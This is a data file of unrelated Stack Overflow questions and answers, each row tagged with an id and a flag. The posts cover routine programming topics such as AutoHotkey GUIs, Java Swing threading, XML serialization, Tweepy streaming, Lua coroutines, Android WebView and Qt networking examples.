30900662	0	 <p>You can use images to fully customize your GUI. In our case, it's the buttons.</p> <h1>[Class] ImageButton</h1> <p>Image Buttons for AHK GUIs.</p> <p>Source: <a href="https://github.com/AHK-just-me/Class_ImageButton" rel="nofollow">https://github.com/AHK-just-me/Class_ImageButton</a><br> Forum topic: <a href="http://ahkscript.org/boards/viewtopic.php?t=1103" rel="nofollow">http://ahkscript.org/boards/viewtopic.php?t=1103</a><br> An example is provided here: <a href="https://github.com/AHK-just-me/Class_ImageButton/blob/master/Sources/Sample.ahk" rel="nofollow">https://github.com/AHK-just-me/Class_ImageButton/blob/master/Sources/Sample.ahk</a></p> <hr> <h2>Shortened example</h2> <pre><code>#NoEnv SetBatchLines, -1 #Include Class_ImageButton.ahk ; ---------------------------------------------------------------------------------------------------------------------- Gui, DummyGUI:Add, Pic, hwndHPIC, PIC1.jpg SendMessage, 0x0173, 0, 0, , ahk_id %HPIC% ; STM_GETIMAGE HPIC1 := ErrorLevel GuiColor := "Blue" Gui, Margin, 50, 20 Gui, Font, s10 Gui, Color, %GuiColor% ImageButton.SetGuiColor(GuiColor) Gui, Add, Button, vBT1 w200 hwndHBT1, Button 1`nLine 2 Opt1 := [0, 0x80CF0000, , "White", "H", , "Red", 4] ; normal flat background &amp; text color Opt2 := [ , "Red"] ; hot flat background color Opt5 := [ , , ,"Gray"] ; defaulted text color -&gt; animation If !ImageButton.Create(HBT1, Opt1, Opt2, , , Opt5) MsgBox, 0, ImageButton Error Btn1, % ImageButton.LastError Gui, Show, , Image Buttons Return ; ---------------------------------------------------------------------------------------------------------------------- GuiClose: GuiEscape: ExitApp </code></pre>
19712836	0	 <p>What's happening is that the "event dispatch thread", where all the Swing events happen, is having to wait for your code. Don't do long-running stuff on the event dispatch thread. This is a famous anti-pattern. </p> <p>You should read the lesson from the Java tutorials, that starts at <a href="http://docs.oracle.com/javase/tutorial/uiswing/concurrency/index.html" rel="nofollow">http://docs.oracle.com/javase/tutorial/uiswing/concurrency/index.html</a>, which describes this. </p> <p>Two small points that are unrelated to your problem:</p> <ol> <li>Your code will be much more manageable if you use an array of <code>ImageIcon</code> variables, instead of six separate variables. </li> <li>You could use the <code>sleep</code> method of the <code>Thread</code> class instead of the "busy sleep" that you're using.</li> </ol>
16241005	0	 <ol> <li><p>How do you know that the request is not valid?</p></li> <li><p>Do you work for GoDaddy or have permission from those who own, manage or control the servers you are developing against to test their servers? (see license agreement for LoadRunner)</p></li> </ol>
8802675	0	 <p>i'd really wish this wouldn't be possible, but sadly it is (or was). i don't know for sure if this still works on Win7 and with current browser-versions, but in the past you could do this...</p> <p><strong>Firefox</strong></p> <pre><code>function getUsr() { return Components.classes["@mozilla.org/process/environment;1"].getService(Components.interfaces.nsIEnvironment).get('USERNAME'); } </code></pre> <p><strong>Internet Explorer</strong></p> <pre><code>function getUsr() { var wshell = new ActiveXObject("WScript.Shell"); return wshell.ExpandEnvironmentStrings("%USERNAME%"); } </code></pre>
17208214	0	 <p>You probably want to install .NET Framework 4.5, which is an in-place, backwards-compatible version of the .NET 4.0 framework. You can find the installer here: <a href="http://www.microsoft.com/en-us/download/details.aspx?id=30653" rel="nofollow">http://www.microsoft.com/en-us/download/details.aspx?id=30653</a></p>
13418860	0	 <p>I had run into a similar challenge with a proxy class. For reasons that I won't go into, I needed to serialize the class manually using the XmlSerializer on web server and deserialize on client. I was not able to find an elegant solution online, so I just avoided the issue by removing the XmlTypeAttribute from the proxy class manually after I auto-generated it in Visual Studio.</p> <p>I kept coming back to see if there was a way to get the namespace to workout. Here is how I got it working without the need to modify the auto-generated classes. I ended up using an XmlTextReader to return the desired namespace on nodes matching a property name. There is room for improvement, but i hope it helps someone.</p> <pre><code>class Program { static void Main(string[] args) { //create list to serialize Person personA = new Person() { Name = "Bob", Age = 10, StartDate = DateTime.Parse("1/1/1960"), Money = 123456m }; List&lt;Person&gt; listA = new List&lt;Person&gt;(); for (int i = 0; i &lt; 10; i++) { listA.Add(personA); } //serialize list to file XmlSerializer serializer = new XmlSerializer(typeof(List&lt;Person&gt;)); XmlTextWriter writer = new XmlTextWriter("Test.xml", Encoding.UTF8); serializer.Serialize(writer, listA); writer.Close(); //deserialize list from file serializer = new XmlSerializer(typeof(List&lt;ProxysNamespace.Person&gt;)); List&lt;ProxysNamespace.Person&gt; listB; using (FileStream file = new FileStream("Test.xml", FileMode.Open)) { //configure proxy reader XmlSoapProxyReader reader = new XmlSoapProxyReader(file); reader.ProxyNamespace = "http://myappns.com/"; //the namespace of the XmlTypeAttribute reader.ProxyType = typeof(ProxysNamespace.Person); //the type with the XmlTypeAttribute //deserialize listB = (List&lt;ProxysNamespace.Person&gt;)serializer.Deserialize(reader); } //display list foreach (ProxysNamespace.Person p in listB) { Console.WriteLine(p.ToString()); } Console.ReadLine(); } } public class Person { public string Name { get; set; } public int Age { get; set; } public DateTime StartDate { get; set; } public decimal Money { get; set; } } namespace ProxysNamespace { [XmlTypeAttribute(Namespace = "http://myappns.com/")] public class Person { public string Name { get; set; } public int Age { get; set; } public DateTime Birthday { get; set; } public decimal Money { get; set; } public override string ToString() { return string.Format("{0}:{1},{2:d}:{3:c2}", Name, Age, Birthday, Money); } } } public class XmlSoapProxyReader : XmlTextReader { List&lt;object&gt; propNames; public XmlSoapProxyReader(Stream input) : base(input) { propNames = new List&lt;object&gt;(); } public string ProxyNamespace { get; set; } private Type proxyType; public Type ProxyType { get { return proxyType; } set { proxyType = value; PropertyInfo[] properties = proxyType.GetProperties(); foreach (PropertyInfo p in properties) { propNames.Add(p.Name); } } } public override string NamespaceURI { get { object localname = LocalName; if (propNames.Contains(localname)) return ProxyNamespace; else return string.Empty; } } } </code></pre>
39757418	1	Using Tweepy Stream, How do I search for retweets? <p>I am currently using Tweepy's stream in order to fetch tweets. For some reason, it does not seem to show that I am fetching any sort of retweets. The <code>retweet_count</code> field is always 0 and the <code>retweeted</code> field is always false. Normal tweets are showing up however...</p> <p>Am I looking at the wrong field to retrieve retweets? Or are there really not enough retweets in the US?</p> <p>Here is the code that I am working with:</p> <pre><code>access_token = xxxx access_token_secret = xxxx consumer_key =xxxx consumer_secret = xxxx class StdOutListener(StreamListener): def on_data(self, data): if 'retweet_count' in json.loads(data) and 'retweeted' in json.loads(data): if json.loads(data)['retweet_count']&gt;0 or json.loads(data)['retweeted']=True: print(json.loads(data)) return True def on_error(self, status): print(status) if __name__ == '__main__': l = StdOutListener() auth = OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) stream = Stream(auth, l) print("Use CTRL + C to exit at any time.\n") #stream.filter(track=['trump','hilary']) stream.filter(locations=[-124.848974, 24.396308, -66.885444, 49.384358]) </code></pre>
17410310	0	 <p>you can try</p> <pre><code>if(spinnerCarbs == null) return; </code></pre> <p>Then the rest of you code </p>
28030308	0	 <p>You do not need to use <code>?</code>. Generics are not used like that except in rare (and usually strange) circumstances.</p> <pre><code>class MyClass { } class MyExtendedClass extends MyClass { } public void test() { Map&lt;Integer, MyClass&gt; myMap = new HashMap&lt;Integer, MyClass&gt;(); myMap.put(1, new MyClass()); myMap.put(2, new MyExtendedClass()); } </code></pre>
11180828	0	 <p>If your branch consists of many small commits adding up to one large change, you might be able to effect this by pushing the commits up in stages. Perhaps create a new branch starting at the point at which your code diverges from that on the company server, then pull ranges of commits from your branch in stages and push after each range is pulled.</p> <p>But pushing separate folders/files - I'm pretty certain that's not possible: it rather goes against git's requirement that a commit be an atomic entity.</p>
28113333	0	NullPointerException when reading manifest signed webstart jar behind authentication layer <p>I have a java webstart application running in a tomcat web server. The single jar referenced by the JNLP has been signed. The entire web-application is behind a basic authentication layer.<br> Web.xml extract:</p> <pre class="lang-xml prettyprint-override"><code> &lt;security-constraint&gt; &lt;display-name&gt; Client (SSL)&lt;/display-name&gt; &lt;web-resource-collection&gt; &lt;web-resource-name&gt;Client (SSL)&lt;/web-resource-name&gt; &lt;url-pattern&gt;/*&lt;/url-pattern&gt; &lt;http-method&gt;GET&lt;/http-method&gt; &lt;http-method&gt;POST&lt;/http-method&gt; &lt;/web-resource-collection&gt; &lt;auth-constraint&gt; &lt;role-name&gt;clientuser&lt;/role-name&gt; &lt;/auth-constraint&gt; &lt;user-data-constraint&gt; &lt;transport-guarantee&gt;CONFIDENTIAL&lt;/transport-guarantee&gt; &lt;/user-data-constraint&gt; &lt;/security-constraint&gt; &lt;login-config&gt; &lt;auth-method&gt;BASIC&lt;/auth-method&gt; &lt;realm-name&gt;Client Webstart&lt;/realm-name&gt; &lt;/login-config&gt; </code></pre> <p>When I run the JNLP, webstart correctly asks me to fill in the username and password, but then crashes with the following null pointer exception: <br></p> <pre><code>java.lang.NullPointerException at com.sun.deploy.security.DeployManifestChecker.verify(Unknown Source) at com.sun.javaws.security.AppPolicy.grantUnrestrictedAccess(Unknown Source) at com.sun.javaws.security.AppPolicy.addPermissions(Unknown Source) at com.sun.jnlp.JNLPClassLoader.getTrustedCodeSources(Unknown Source) at com.sun.deploy.security.CPCallbackHandler$ParentCallback.strategy(Unknown Source) at com.sun.deploy.security.CPCallbackHandler$ParentCallback.openClassPathElement(Unknown Source) at com.sun.deploy.security.DeployURLClassPath$JarLoader.getJarFile(Unknown Source) at com.sun.deploy.security.DeployURLClassPath$JarLoader.access$800(Unknown Source) at com.sun.deploy.security.DeployURLClassPath$JarLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at com.sun.deploy.security.DeployURLClassPath$JarLoader.ensureOpen(Unknown Source) at com.sun.deploy.security.DeployURLClassPath$JarLoader.&lt;init&gt;(Unknown Source) at com.sun.deploy.security.DeployURLClassPath$3.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at com.sun.deploy.security.DeployURLClassPath.getLoader(Unknown Source) at com.sun.deploy.security.DeployURLClassPath.getLoader(Unknown Source) at com.sun.deploy.security.DeployURLClassPath.getResource(Unknown Source) at java.net.URLClassLoader$1.run(Unknown Source) at java.net.URLClassLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(Unknown Source) at com.sun.jnlp.JNLPClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at com.sun.javaws.Launcher.doLaunchApp(Unknown Source) at com.sun.javaws.Launcher.run(Unknown Source) at java.lang.Thread.run(Unknown Source) </code></pre>
13424558	0	 <p>Lua cannot magically give the original arguments new values. They might not even be on the stack anymore, depending on optimizations. Furthermore, there's no indication where the code was when it yielded, so it may not be able to see those arguments anymore. For example, if the coroutine called a function, that new function can't see the arguments passed into the old one.</p> <p><code>coroutine.yield()</code> returns the arguments passed to the <code>resume</code> call that continues the coroutine, so that the site of the yield call can handle parameters as it so desires. It allows the code doing the resuming to communicate with the specific code doing the yielding. <code>yield()</code> passes its arguments as return values from <code>resume</code>, and <code>resume</code> passes its arguments as return values to <code>yield</code>. This sets up a pathway of communication.</p> <p>You can't do that in any other way. Certainly not by modifying arguments that may not be visible from the <code>yield</code> site. It's simple, elegant, and makes sense.</p> <p>Also, it's considered exceedingly rude to go poking at someone's values. Especially a function already in operation. Remember: arguments are just local variables filled with values. The user shouldn't expect the contents of those variables to change unless it changes them itself. They're <code>local</code> variables, after all. They can only be changed locally; hence the name.</p>
37724737	0	 <p>I do expect that you are using the correct host on your side.</p> <p>But you are missing Username and Password.</p> <pre><code>transport = session.getTransport("smtp"); transport.connect(hostName, port, user, password); transport.sendMessage(message, message.getAllRecipients()); </code></pre> <p>or you can use the Authenticator:</p> <pre><code>Session session = Session.getInstance(props, new javax.mail.Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(username, password); } }); </code></pre>
21932897	0	 <p><code>quiver</code> plot may be too much for plotting only one vector in 3-D. You can achieve a similar plot by using a simple <code>plot3</code> such as the one plotted below.</p> <p>In this plot, the origin of the vector is the blue dot, and the direction is given by the red line.</p> <p><img src="https://i.stack.imgur.com/dlmTs.png" alt="enter image description here"> </p> <p>The code</p> <pre><code>%v is the direction of the vector (3 cartesian coordinates) v = sort(randn(100,3)); v = bsxfun(@rdivide,v,sqrt(sum(v.^2,2))); %xyz the origin of the vector ind = linspace(-pi,pi,100); x = cos(ind); y = sin(ind); z = ind; %the plotting function figure for ii = 1:numel(ind) plot3(x(ii),y(ii),z(ii),'bo'); %origin in blue set(gca,'XLim', [-3 3], 'YLim', [-3 3], 'ZLim', [-3 3]); hold on; hl = plot3( linspace(x(ii), x(ii)+v(ii,1),10), ... linspace(y(ii), y(ii)+v(ii,2),10), ... linspace(z(ii), z(ii)+v(ii,3),10), ... 'r'); %direction in red view(80,10); pause(0.1); %clf end </code></pre>
8683766	0	AIR from HTML: Controlling Size of New Window <p>I'm using Dreamweaver to convert a web site into an AIR desktop app. The app searches and browses through PDF files and provides links for opening them. I am foremost a web developer, so HTML and JavaScript/jQuery is what I understand, the links are simple <code>&lt;a&gt;</code> tags with target set to _blank. Adding any scripting to control the size of the new AIR windows in which the PDFs open causes the links to cease working at all. All tutorials I've found on how to control the size of a new AIR window show how to do it in MXML, but Dreamweaver works with a regular XML formatted application manifest.</p> <p>So, what's the trick?</p>
2228533	0	Estimate the size of outputted dll/exe upfront? <p>currently I'm fixing some issues regarding to small outputted dll (I'm using Ribosome build system on Windows) so I'm wondering this:</p> <p>suppose project (C++) include source files whose total size is i.e. 100 KB and project also depends on i.e. 3 libraries, each about 100KB, what binary size should I expect after compiling and linking? Can I estimate this up front? </p> <p>p.s. assuming that this is release build with turned off any kind of optimization and source files contain pure code without any comments or similar</p> <p>Thanks</p>
35278942	0	Scraping with a multithreaded queue + urllib3 suffers a drastic slowdown <p>I am trying to scrape a huge number of URLs (approximately 3 millions) that contains JSON-formatted data in the shortest time possible. To achieve this, I have a Python code (python 3) that uses Queue, Multithreading and Urllib3. Everything works fine during the first 3 min, then the code begins to slow down, then it appears to be totally stuck. I have read everything I could find on this issue but unfortunately the solution seems to requires a knowledge which lies far beyond me.</p> <p>I tried to limit the number of threads : it did not fix anything. I also tried to limit the maxsize of my queue and to change the socket timeout but it did no help either. The distant server is not blocking me nor blacklisting me, as I am able to re-launch my script any time I want with good results in the beggining (the code starts to slow down at pretty random time). Besides, sometimes my internet connection seems to be cut - as I cannot surf on any website - but this specific issue does not appear every time.</p> <p>Here is my code (easy on me please, I'm a begginer):</p> <pre><code>#!/usr/bin/env python import urllib3,json,csv from queue import Queue from threading import Thread csvFile = open("X.csv", 'wt',newline="") writer = csv.writer(csvFile,delimiter=";") writer.writerow(('A','B','C','D')) def do_stuff(q): http = urllib3.connectionpool.connection_from_url('http://www.XXYX.com/',maxsize=30,timeout=20,block=True) while True: try: url = q.get() url1 = http.request('GET',url) doc = json.loads(url1.data.decode('utf8')) writer.writerow((doc['A'],doc['B'], doc['C'],doc['D'])) except: print(url) finally: q.task_done() q = Queue(maxsize=200) num_threads = 15 for i in range(num_threads): worker = Thread(target=do_stuff, args=(q,)) worker.setDaemon(True) worker.start() for x in range(1,3000000): if x &lt; 10: url = "http://www.XXYX.com/?i=" + str(x) + "&amp;plot=short&amp;r=json" elif x &lt; 100: url = "http://www.XXYX.com/?i=tt00000" + str(x) + "&amp;plot=short&amp;r=json" elif x &lt; 1000: url = "http://www.XXYX.com/?i=0" + str(x) + "&amp;plot=short&amp;r=json" elif x &lt; 10000: url = "http://www.XXYX.com/?i=00" + str(x) + "&amp;plot=short&amp;r=json" elif x &lt; 100000: url = "http://www.XXYX.com/?i=000" + str(x) + "&amp;plot=short&amp;r=json" elif x &lt; 1000000: url = "http://www.XXYX.com/?i=0000" + str(x) + "&amp;plot=short&amp;r=json" else: url = "http://www.XXYX.com/?i=00000" + str(x) + "&amp;plot=short&amp;r=json" q.put(url) q.join() csvFile.close() print("done") </code></pre>
17980724	0	 <p>Echo the HTML form and ensure your file uses the .php extension (.php)</p>
28107625	0	 <p>You can use which.</p> <pre><code>desireDf &lt;- df[ which( df$CATEGORY=="over 10 mio" &amp; (df$COUNTRY=="Germany" | df$COUNTRY=="Sweden" )), ] </code></pre> <p>Also it works without which:</p> <pre><code>desireDf &lt;- df[ (df$CATEGORY=="over 10 mio" &amp; (df$COUNTRY=="Germany" | df$COUNTRY=="Sweden")), ] </code></pre>
27100213	0	Android webview pageStarted not detected, facebook unable to cancel share <p>I am sharing a link using my webview.</p> <p>"<a href="http://m.facebook.com/sharer.php?u=" rel="nofollow noreferrer">http://m.facebook.com/sharer.php?u=</a>" + urltoshare;</p> <p>My code is:</p> <pre><code>WebView myWebView = (WebView) findViewById(R.id.wvForFB); WebSettings webSettings = myWebView.getSettings(); webSettings.setJavaScriptEnabled(true); myWebView.setWebViewClient(new WebViewClient(){ @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if (!loadingFinished) { redirect = true; } loadingFinished = false; view.loadUrl(url); return true; } @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); if(!redirect){ loadingFinished = true; } if(loadingFinished &amp;&amp; !redirect){ //HIDE LOADING IT HAS FINISHED myrelativebar.setVisibility(View.GONE); myprogressbar.setVisibility(View.GONE); } else{ redirect = false; } } @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { super.onPageStarted(view, url, null); loadingFinished = false; myrelativebar.setVisibility(View.VISIBLE); myprogressbar.setVisibility(View.VISIBLE); } @Override public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { Toast.makeText(getApplicationContext(), "" + description, Toast.LENGTH_SHORT).show(); } }); myWebView.loadUrl(attrurl); </code></pre> <p>I need to detect the cancel event on this view. But event on clicking <strong>cancel or Post</strong> <strong>DOES NOT call onpageStarted</strong>, not internally or via debugging for pagestarted.I want to detect cancel event and hide the webview. Do suggest any workaround.</p> <p><img src="https://i.stack.imgur.com/RRCCj.png" alt="Share page opened using this link"></p>
11063655	0	 <pre><code>$sql=array(); foreach ($f_list as $list) { //This assumes, your values are already safely quoted $sql[]="'".$list['id']."','".$list['name']."'"; } $sql=implode('),(',$sql); $sql="INSERT INTO tablename VALUES($sql)"; // now run the query </code></pre>
11691849	0	 <p>The application identifier of an app "looks something like an Internet domain name in reverse, such as 'com.apple.textedit'."<a href="http://macscripter.net/viewtopic.php?pid=96491" rel="nofollow"> &rarr; reference</a></p> <p>If you used Xcode to create your Applescript application you can set the Application Bundle Identifier as part of the application setup wizard or in the Application Target properties. If you used the Applescript Editor to write your script and save it as an application your bundle won't have an identifier but you can add one.</p> <p>CTRL-Click on your application bundle and click Show Package Contents. Click on the Contents folder and then open the Info.plist file. This file specifies properties of your application in XML format. If you have Xcode installed it will open the file in the Plist editor making it a little more friendly to edit. What you want to do is add the CFBundleIdentifier key and your Application Identifier as the value. For example:</p> <pre><code>&lt;key&gt;CFBundleIdentifier&lt;/key&gt; &lt;string&gt;com.depot6.showworkingdrive&lt;/string&gt; </code></pre> <p>Add it near the CFBundleName key/value pair under the element. Saving the modified Info.plist will allow you to target that application in your Dashcode widget.</p>
16253580	0	 <p>It looks like there is not a perfect solution</p> <p>I ended up having a ProgressBar instance in the Activity, another instance in each fragment exactly overlapping the Activity one and then I just fade them in and out.</p> <p>The "stuck" effect is now negligible</p>
39417462	0	Developing two android app that can send/trigger notification to each other <p>I've been studying android development for about 2 months, and still trying to learn new things and stuffs in mobile dev. And I've been wondering how can two android application send notification to each other. I saw a tutorial about <code>notificationCompat</code> wherein a notification pop-up when an action(<code>onClick</code>) is performed inside the application. And I thought that maybe it is also possible to trigger that notification from another application. And my question is now, How can I trigger a notification in the 1st application using the 2nd application? And also addtional info will be that the two application is on the same local network(Ad hoc).</p>
6783050	0	 <p>Here is the solution: Simply, <strong>RESTART THE MACHINE</strong> !</p>
3093313	0	 <p>I personnaly use the second one, here is how I view this :</p> <p>You must think of that with the semantics, you would say </p> <p>"When &lt;a> of class &lt;class> trigger the event &lt;hover> I want &lt;that> to happen."</p> <p>not this :</p> <p>"When &lt;a> trigger event &lt;hover> check if it is of class &lt;class> then do &lt;that>."</p>
36556045	0	 <p>Use:</p> <pre><code>a = np.array([23, 50, 100, 120]) np.median(a[a &gt; 50]) </code></pre>
18587784	0	 <p>In TeamCity 7.1.3 you are unable to achieve what you are asking. The only way you can do this is to add permissions whenever projects are added. However, if you update to TeamCity 8.x there is now the concept of project hierarchies. You can grant permissions at any level and the permissions are inherited to the sub projects. For example:</p> <ul> <li>Project A <ul> <li>Sub project 1</li> <li>Sub project 2</li> </ul></li> <li>Project B</li> </ul> <p>If you give a developer permissions to project A and then add a new sub project:</p> <ul> <li>Project A <ul> <li>Sub project 1</li> <li>Sub project 2</li> <li>Sub project 3</li> </ul></li> <li>Project B</li> </ul> <p>There will have permission to all 3 sub-projects in project A without having to change the permissions model. This should achieve exactly what you are after.</p>
20914439	0	Get reference dll into another dll which is exposed to COM <p>I'm want to find the answers for this problem:</p> <p>I'm developing a .NET 4.0 DLL wich has reference to another third party Dll FTP. This DLL that i'm developing is loaded through reflection by another DLL called LoaderDLLs.</p> <p>LoaderDLLs is exposed for COM, the problem is when the COM use DLL to invoke .NET DLL 4.0 everything is fine but when .NET DLL 4.0 internally call third party DLL FTP occurs next error:</p> <p><strong>Exception has been thrown by the target of an invocation.Could not load file or assembly 'Jscape.Ssh, Version=2.7.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. The system cannot find the file specified.</strong> </p> <p>I have attemped install third party DLL FTP into GAC through gacutil, but a think this is not working, How can i get reference to that DLL?</p>
22048536	0	 <p>Let's break down this recursive call:</p> <p>With <code>m(3)</code>, <code>p</code> isn't <code>0</code>, so we return <code>3*3 + m(2);</code>.</p> <pre><code>3*3 + (m(2)) </code></pre> <p>With <code>m(2)</code>, <code>p</code> isn't <code>0</code>, so we return <code>3*2 + m(1);</code>.</p> <pre><code>3*3 + (3*2 + m(1)) </code></pre> <p>With <code>m(1)</code>, <code>p</code> isn't <code>0</code>, so we return <code>3*1 + m(0);</code>.</p> <pre><code>3*3 + (3*2 + (3*1 + m(0)) </code></pre> <p>With <code>m(0)</code>, <code>p</code> is <code>0</code>, so we return <code>0</code>. Then the recursive call stack unwinds.</p> <pre><code>3*3 + (3*2 + (3*1 + (0)) = 9 + (6 + (3 + 0)) = 9 + (6 + 3) = 9 + 9 = 18 </code></pre>
19442399	0	 <p>I guess the problem is because you have not defined actions MOVE, UP and DOWN for the touch. Try writing your code in <strong>MotionEvent.ACTION_DOWN</strong>, If this works for you. </p> <pre><code> case R.id.layout_button_subscriptions:{ switch (event.getAction()) { case MotionEvent.ACTION_MOVE: { break; } case MotionEvent.ACTION_DOWN: { startActivity(new Intent(AppActivity.this,Subs.class)); break; } } </code></pre>
19416347	0	 <p>Error 10501 can occur if using DoDirectPayment API but you do not have PayPal Payments Pro on your account. </p> <p>If you have Payments Pro on your account but still getting this error, it could be an account setup issue; in that case contact customer support to further investigate.</p>
6815934	0	Ideas about web browser in Qt using GSM/GPRS modem <p>I have successfully interfacted Telit GL 865 GSM/GPRS modem to my Atmel microprocessor. My POC board is running embedded linux and I have also cross compiled Qt libraries(including Webkit) and transferred it to the board.</p> <p>I can also read and write AT commands from Qt application by opening an FD(File descriptor) and then executing commands.</p> <p>I'm also able to connect to the GPRS, also getting HTTP response. Currently I'm setting the HTML that I get from AT commands, through the QWebView's setHTML() function. But by this the images doesn't load(obviously) and also I cannot navigate through the links as the browser doesn't have a direct access to the Internet. So what is the proper implementation by which my Qt Webkit browser can directly communicate over GPRS using my modem ?</p>
19720515	0	 <p>Forgot a <code>^</code></p> <pre><code>RewriteRule ^(.*)\.html$ $1.php [L,R=301] </code></pre>
27268099	0	Efficient R Conditional Function for Each Value in a Data Frame Column <p>I needed to make a function (wpcm) to manipulate every value in a data frame column a certain way. It takes a very long time. Is there a way to do this more efficiently?</p> <p>Edit:</p> <p>my previous question had an example function, which had the contents of Powerm removed. The heart of my question is: is there a better way to do this than using the for loop in wpcm?</p> <pre><code> Powerm &lt;- function(v,turbnum) # This function inputs wind speed (m/s) and a specified turbine, # then outputs the turbine's rated power # v is wind speed # turbnuum is turbine analyzed # { # turnine 1 is 10 kW bergy if (turbnum ==1) { powerCurve &lt;- c(-12,-12,-11,0,39,102,229,399,596,848,1151,1510,1938,2403,2949,3602,4306,5071,5960,6856,7849,8863,9928,10885,11619,12019,12276,12395,12449,12495,12508,12546,12555,12503,12528,12442,12396,12208,11878,11989,11495) x=seq(0.5,20.5,0.5) indexx= 2*v # curve is binned by 0.5 m/s } # Turbine 2 is Aeolos-H 50 kW if (turbnum == 2) { powerCurve &lt;- c(0.54,0.9,1.92,3.75,5.99,8.71,11.96,16.03,20.53,25.88,32.18,38.59,45.81,50.03,50,50,50,50) x=seq(3,11.5,0.5) # which power curve value are we closest to? # binned by .5 m/s, so multiply v by 2 # starts at 3 m/a so subtract 2 indexx= 2*(v-2) - 1 # curve is binned by 0.5 m/s } # turnine 3 is 50 kW Endurance #-3120 # http://www.smallwindcertification.org/wp-content/new-uploads/2013/11/SPP-13-07-Summary-Report.pdf if (turbnum ==3) { powerCurve &lt;- c(-0.14,-.33,-.24,-0.09,1.03,2.48,4.71,8.21,11.82,16.19,20.17,25.04,29.26,35.07,36.69,43.96,46.67,51.52,54.73,56.84,58.92,60.25,61.25,62.1,62.67,63.38,63.62,65.02,65.47,65.67,66.57) x=seq(1.5,16.5,0.5) indexx= 2*v-1 # curve is binned by 0.5 m/s } # Turbine 4 is Northern 100 kW if (turbnum == 4) { powerCurve &lt;- c(-.5,-.5,1.2,7.2,14.5,24.7,37.9,58.7,74.8,85.1,90.2,94.7,95.3,95.1,94.2,92.9,91.2,88.9,87.1,84.1,81.3,78.6,76.1,74.3,71.1) x=seq(1,25,1) indexx=v } # surr is the number of surrounding # points in polynomial approximation. surr=2 # return NA if NA if (is.na(v))return(NA) #Low speeds dismissed if (v &lt; 3)return(0) # speeds beyond curve correspond to 50 if (v&gt;tail(x,1))return(tail(powerCurve,1)) # determine appropriate extrapolation region. # If wind speed is at the end of the power curve, # don't fit to the right of it. if (indexx&gt;=length(powerCurve)-surr) { rang &lt;- (indexx-surr):length(powerCurve) } # same logic but for low wind speeds else if (indexx&lt;=surr) { rang &lt;-1:(indexx+surr) } # everythin's fine, no special case else { rang &lt;- (indexx-surr):(indexx+surr) } # make polynomial fit with surrounding curve points powwa &lt;- data.frame('speed'=x[rang]) pows &lt;- data.frame('speed'=v) pred &lt;- lm(powerCurve[rang] ~ poly(speed,degree=length(unique(powwa$speed))-1),data=powwa) pows$power &lt;- predict(pred,newdata=pows) if (pows$power[1]&lt;0) return(0) return(pows$power) } wpcm &lt;- function(dats,turbnum) { s &lt;- data.frame('s'=c(1:length(dats))) for (i in 1:length(dats)) { s$s[i] &lt;- Powerm(dats[i],turbnum) } return(s$s) } </code></pre> <p>Here is an example of my usage:</p> <pre><code>s &lt;- data.frame('windSpeed'=seq(0,100,0.001)) # (The true data is not so organized) mean(wpcm(s$colm,2)) </code></pre> <p>I expect an output of average power production corresponding to the set of input wind speed. My problem is that it takes a long time to evaluate big data sets.</p>
24590480	0	 <p>You are trying to access an array that is not initialized. There is no initialization of >everything&lt; in your code, thus resulting in a NullPointerException.</p>
6548914	0	 <p>You'd use the <a href="http://msdn.microsoft.com/en-us/library/ms187331.aspx">WAITFOR DELAY</a> statement</p>
34230932	0	 <p>I know I'm way late to this party but, I think I understand this request to mean that you just want to pass in some properties and generate your query based on those dynamic properties.</p> <p>with the code below I can use any Type and then just populate and pass in an object of that Type with a few values set (I call this my query object), and the query will be generated to go find objects that match the values that you set in your query object.</p> <p>*be careful of bools and things that have default values. </p> <p><strong>Dynamic Query Example</strong></p> <pre><code> public IEnumerable&lt;T&gt; Query&lt;T&gt;(T templateobject) { var sql = "SELECT * From " + typeof(T).Name + " Where "; var list = templateobject.GetType().GetProperties() .Where(p =&gt; p.GetValue(templateobject) != null) .ToList(); int i = 0; Dictionary&lt;string, object&gt; dbArgs = new Dictionary&lt;string, object&gt;(); list.ForEach(x =&gt; { sql += x.Name + " = @" + x.Name; dbArgs.Add(x.Name, x.GetValue(templateobject)); if (list.Count &gt; 1 &amp;&amp; i &lt; list.Count - 1) { sql += " AND "; i++; } }); Debug.WriteLine(sql); return _con.Query&lt;T&gt;(sql, dbArgs).ToList(); } </code></pre> <p><strong>Usage</strong></p> <p>*repo is the class that contains the above function</p> <pre><code>var blah = repo.Query&lt;Domain&gt;(new Domain() { Id = 1, IsActive=true }); </code></pre> <p><strong>Output</strong></p> <pre><code>SELECT * From Domain Where Id = @Id AND IsActive = @IsActive </code></pre> <p>then it spits out any "Domains" that match the above query.</p>
34734691	0	 <h1>Step 1: Open QtCreator</h1> <p>I assume you already have sucessfully installed QtCreator. Start it up :-)</p> <h1>Step 2: Open the examples</h1> <p>In QtCreator you have a lot of examples that come with the software and is immediately available to test out! All you have to do is open the examples screen and find the example you want. Each example is accompanied with a lot of well written documentation.</p> <p><a href="https://i.stack.imgur.com/kKdfl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/kKdfl.png" alt="QtCreator Examples"></a></p> <h1>Step 3: Search for "network"</h1> <p>In your case you want examples related to network programming. Simply type network in the search field (or anything else you want).</p> <p><a href="https://i.stack.imgur.com/iFwnC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iFwnC.png" alt="enter image description here"></a></p> <h1>Step 4: Select the example you want</h1> <p>Actually since you wanted to make a client and a server you will want to look at two separate examples called <strong>blocking fortune client</strong> and <strong>fortune server</strong>.</p> <p><a href="https://i.stack.imgur.com/CjURo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CjURo.png" alt="Blocking fortune example"></a> <a href="https://i.stack.imgur.com/lFg91.png" rel="nofollow 